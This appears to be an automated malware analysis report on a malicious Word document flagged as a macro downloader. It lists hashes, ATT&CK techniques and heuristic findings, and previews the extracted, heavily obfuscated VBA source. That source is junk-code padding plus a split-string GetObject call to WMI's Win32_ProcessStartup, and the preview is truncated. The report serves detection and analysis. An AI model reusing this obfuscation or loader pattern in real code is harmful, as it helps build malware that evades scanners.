Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 107ae87f8c006ee0…

MALICIOUS

Office (OLE)

325.9 KB Created: 2019-02-20 10:31:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 69b469261582475d2ea8029c37a70329 SHA-1: 8cfdd3b2be66ab0bf7133007ba4c35a1e8837f21 SHA-256: 107ae87f8c006ee004ab99ea0071b43f1bd618f9cb3d65065cdec6f42a218830
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The file contains heavily obfuscated VBA macros, including an auto-exec loader, indicating a malicious downloader. The presence of legacy WordBasic and Excel 4.0 macro markers, along with a critical heuristic for an obfuscated auto-exec loader, strongly suggests the intent to execute arbitrary code. The ClamAV detection name 'Doc.Downloader.00536d-6863518-0' further supports this, pointing to a downloader functionality.

Heuristics 9

  • ClamAV: Doc.Downloader.00536d-6863518-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.00536d-6863518-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 72474 bytes
SHA-256: e8d736fae0387158054954c032f1276331a090fa09d4b99081c9d01aa7040be1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "B62548"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "v8_3688"
Function M_783_()
      F_556__8 = 10126874 - 161262929
   q080__6 = 727373378 + C70__34_
  Select Case t_056_3
      Case 750005020
         O79_27 = Chr(415394091 * Tan(k7_050_0))
         l52207_1 = w_99_8
      Case 559537746
         o6_21512 = i730_61
         t4364__ = I__21__8
      Case 955038668
         r06008 = 801240696
         r4_53_ = w84354_
   End Select
      w030__ = 59971562 - 762566272
   Q686_4 = 156782828 + c1560_9_
  Select Case i_6388
      Case 176592621
         o_9___92 = Chr(607543274 * Tan(i9404404))
         J__084_4 = c9322_17
      Case 562858142
         A94710__ = v339_054
         u8761629 = H06135
      Case 622733253
         f34_197 = 960514666
         N04_6_ = t79830
   End Select
      n9__51_ = 358044507 - 16010089
   j0_53354 = 331835156 + R0__2275
  Select Case B16__4_
      Case 678883657
         H9_760_ = Chr(845605139 * Tan(T12_54_8))
         t0060056 = Y86__0_6
      Case 382362700
         h731__ = b54_497
         q0588_5 = U_98838
      Case 469170451
         a60_0_ = 820119388
         q326_2 = B028_368
   End Select
      d0_49___ = 709997633 - 649872911
   T1618697 = 632619711 + v06115
  Select Case Z538_678
      Case 471257513
         A__9_9_ = Chr(893440139 * Tan(c22_8294))
         c0_08476 = v372_6
      Case 175159228
         V5761_3 = Z5_4_2_5
         E03648 = f_12_8_
      Case 304805539
         Q_053_ = 904828995
         h66377 = q4_3_389
   End Select
      i96__88 = 238478478 - 17093697
   w252_48 = 150704895 + V9440_
  Select Case Q___357
      Case 573488131
         v_73167 = Chr(85504504 * Tan(f30_7841))
         N8_0069 = C0623469
      Case 220636499
         n9_0_34_ = B76926_
         f_53343 = n2_165_
      Case 655889770
         o83__4 = 10106122
         X2_8__ = V797_2
   End Select
      O300090 = 518141297 - 207938376
   z8_6_62_ = 177168710 + j938_560
  Select Case Z_37__5
      Case 596926551
         Z_3_49 = Chr(560888294 * Tan(T86689))
         G0628_5 = o__8_4_
      Case 961695573
         T545_585 = d9__64
         w_1_7__9 = i5775__
      Case 168804481
         i_1885_ = 132281634
         I85__5_8 = a32_089
   End Select
End Function
Function u95500(R2_0737, I36853)
On Error Resume Next
      N1148_8 = 539788555 - 216109302
   z_43___ = 250449147 + U_835152
  Select Case i7_082
      Case 8940392
         T1706935 = Chr(660888057 * Tan(Z_6__271))
         L6031829 = s7670_4
      Case 203480121
         k07_9_ = p60132
         p7522_1 = A6_3__46
      Case 143684932
         z_9571_ = 216522482
         O5513__8 = h5_953__
   End Select
      o69860_3 = 490953713 - 910322495
   S_263_ = 369476737 + O_7___
  Select Case R01_6_8
      Case 692347740
         E627_5_ = Chr(900133470 * Tan(u_33_88))
         h8_7_3 = F_1802
      Case 282639618
         I__2__5 = f7_3_6_
         z3_6495 = U139__36
      Case 689976788
         i99748 = 732930962
         E9030520 = O_3___5
   End Select
      f2___0 = 982231257 - 684671356
   S1_3__ = 524187826 + j716_611
  Select Case J004_15
      Case 531323053
         D792_8_ = Chr(59374617 * Tan(m58_298))
         Z_972060 = J7536_
      Case 248552713
         c79_62__ = H479__77
         X8_1_7_ = F1_092
      Case 265912190
         J55_3_9_ = 729309960
         P_54681 = D_3601_
   End Select
Set I_10__1 = GetObject((Z8_84939 _
+ "winmgm" + X__3__) + (f52206_3 + "ts:Win" + G2_56_51) + "32_Proce" + "ssStartup")
      o0_3_5 = 533943814 - 142260364
   U305180 = 177187749 + i3_26_
  Select Case m65____2
      Case 721925268
         s_1639 = Chr(972037181 * Tan(K1118_79))
         p_296939 = f___2049
      Case 824530677
         U55_055 = N35_12
   
... (truncated)

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